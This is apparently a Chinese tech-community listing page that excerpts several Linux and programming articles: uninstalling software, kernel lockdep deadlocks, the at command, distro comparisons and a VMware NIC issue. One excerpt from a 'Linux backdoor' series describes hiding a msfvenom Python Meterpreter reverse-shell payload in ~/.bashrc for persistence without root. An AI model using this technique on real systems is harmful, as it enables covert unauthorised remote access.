首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

从1024开始,我们漫谈编程的本质

祝各位工程师节日快乐哈~ 今年的1024也算是自己过得第一个正经的程序员节了,如果实习也算的话那就是第二个,也不知道自己开始关注1024是缘从何起,或许是因为从喜欢上Coding开始,或许是从喜欢程序员这个职业开始...,但是不管如何,从现在开始我会把每一个1024都当做是自己的一个小节日,并且尽可能的在每年的这一天都能输出一些比较深度的内容来表达自己对或是编程,或是职业,或是行业的一个思考,来祝大家节日快乐。...2009年9月,“程序员节”从此成为了俄罗斯的一个正式节日。除了俄罗斯之外,其他国家的一些程序员社区也会庆祝这个节日。为什么会选9月13日呢?因为它是每年的第256天(闰年就是9月12日)。...2.2 计算机是如何识别我们的程序代码的?...2.3 怎样写好我们的程序 关于怎样写好我们的程序,这个在不同场景使用不同的编程语言或设计风格,原则应该是不完全一样的,但是一些通用性却是有的,欢迎大家来读我的另一篇文章:《如何写出更加优雅的代码》 3

31810
您找到你想要的搜索结果了吗?
是的
没有找到

Linux软件卸载_linux系统怎么卸载一个软件

你要卸载这个程序,要么在原来的make目录下用一次make uninstall(前提是make文件指定过uninstall),要么去上述目录里面把相关的文件一个个手工删掉。...指定prefix,直接删掉一个文 件夹就够了。 2.软件的安装 2.1. 进入下载包目录 2.2. 解压下载包:tar xvzf filename.tar.gz 2.3....执行解压缩后产生的一个名为configure的可执行脚本程序。它是用于检查系统是否有编译时所需的库,以及库的版本是否满足编译的需要等安装所需要的系统信息。为随后的编译工作做准备。命令为: #..../configure –prefix=/您自己指定的目录,比如我想把一个mlterm安装到/opt/mlterm目录中,应该如下输入 .

17.4K30

一个Linux死锁信息分析

我个人原来一直没有看过Linux的死锁跟踪机制,为了看懂这个问题,我先速成一下,整理一下笔记。内核代码基于5.2-rc3。...网上有人说第一个版本就解决掉了大部分Linux内核的死锁问题。不过它的设计目标不是用于产品(release)版本的,对性能有不小的影响,所以一般用于内部测试阶段。...Linux内核的lockdep-design.txt对这个东西有介绍,但我觉得文档写得很烂,前后矛盾,语焉不详,还不如直接看代码。不过这个代码也很不规整,基本上都是细节,我也耗不起这个时间。...从文档建立的概念再去对了一下代码,大概的原理是这样的:给每种类型的锁都定义一个class(相当于锁的类型,比如所有的mutex就是一个class),为每个class定义一组rules(非抽象概念,都是具体插入的不同代码...这个打印并非打印一个任意长度的列表,它只打印三个对象:source,parent,target。

1.5K20

一个 Linux 权限维持小 tip | Linux 后门系列

简介 前一段时间,朋友问了一个这样的问题:Linux 普通权限,没有crontab 之类的,如何做权限维持。...我之前介绍过好多好多种 Linux 权限维持的方法,大多数还是基于 root 权限的,如果不提权的话,有些手法还是受限的,比如 motd,服务之类的。...于是,我选择了最简单的配置文件 ~/.bashrc 这个文件是在所属用户每次登录的时候会自动进行执行配置的一个文件,当然,前提得是用户系统使用的 shell 是 bash 但这都不是什么重点,主要是这里要介绍一个之前没有介绍过的小技巧...,比如我们使用 msf 生成一个 Python木马,放入到这个配置文件中 msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT...配置好监听,重新登录试试 可以看到这个也可以成功反弹 shell,那么如果我们不配置监听,看看登录会不会卡住 可以看到,登录没有卡住,和正常登录没有区别 其实呢,这也是我埋在 alias后门 | Linux

86130

Linux 的 at 命令来安排一个任务 | Linux 中国

什么是 Linux at 命令? at 命令是在 Linux 终端让你在特定时间和日期安排一次性工作的方法。它是一种自发的自动化,在终端上很容易实现。...安装 at 在 Linux 上,at 命令可能已经安装了。你可以使用 at -V 命令来验证它是否已经安装。只要返回一个版本号,就说明你已经安装了 at。...$ at -V at version x.y.z 如果你试图使用 at,但没有找到该命令,大多数现代的 Linux 发行版会为你提供缺少的 at 软件包。...在大多数 Linux 系统中,你可以使用 systemctl 命令来启用该服务,并将它们设置为从现在开始自动启动: $ sudo systemctl enable --now atd 用 at 交互式地安排一个作业...用 Linux at 安排任务 at 系统是一个很好的方法,可以避免忘记在一天中晚些时候运行一个作业,或者在你离开时让你的计算机为你运行一个作业。

87220

Linux Mint 和 Fedora:应该使用哪一个? | Linux 中国 Linux中国

Linux Mint 是一个 为初学者定制的流行的 Linux 发行版,同时为用户提供了与 Windows 类似的体验。...与 Linux Mint 不同,Fedora 并不完全专注于个人(或非开发者)使用。即使他们提供了一个工作站版本,其目标也是开发者和有经验的 Linux 用户。...如果你愿意,你可以跳过一个版本。 如果你只是想安装一个可以使用多年的 Linux 发行版,而不在乎是不是最新的技术/功能,那么 Linux Mint 是个不错的选择。...使用和安装的便利性 对于一个 Linux 的新嫩用户来说,Ubuntu 或任何基于 Ubuntu 的发行版通常都是一个很好的开端。...另一方面,Linux Mint 的文档 没有定期更新,但在你想深入挖掘时很有用。 社区支持 你会得到一个良好的社区支持。Linux Mint 的论坛 是一个很基础的平台,容易使用并能解决问题。

3.4K10

一个Linux网络问题记录

导语 今天在学习的时候,碰到了Linux网络的一个问题,在网上查询资料,查了半天都没有解决,所以记录下来,如果有读者知道的话,还请不吝赐教。...1问题描述 今天在学习的时候,碰到了Linux网络的一个问题,问题的具体情况如下: ?...于是查了查Linux相关的资料,整理如下。 2分析过程 首先,进入/etc/sysconfig/network-scripts,可以看到如下文件: ? 打开ifcfg-eth0可以看到 ?...在网上查了资料,得到了如下的解释: VMware中克隆虚拟机是经常的事情,当我们进行系统克隆的时候,VMware会为新产生的虚拟机配置一个与原始虚拟机网卡MAC地址不同的网卡。...对于CentOS这样的Linux系统,会把运行时的网卡MAC地址记入到 /etc/udev/rules.d/70-persistent-net.rules 文件中。

1K40
领券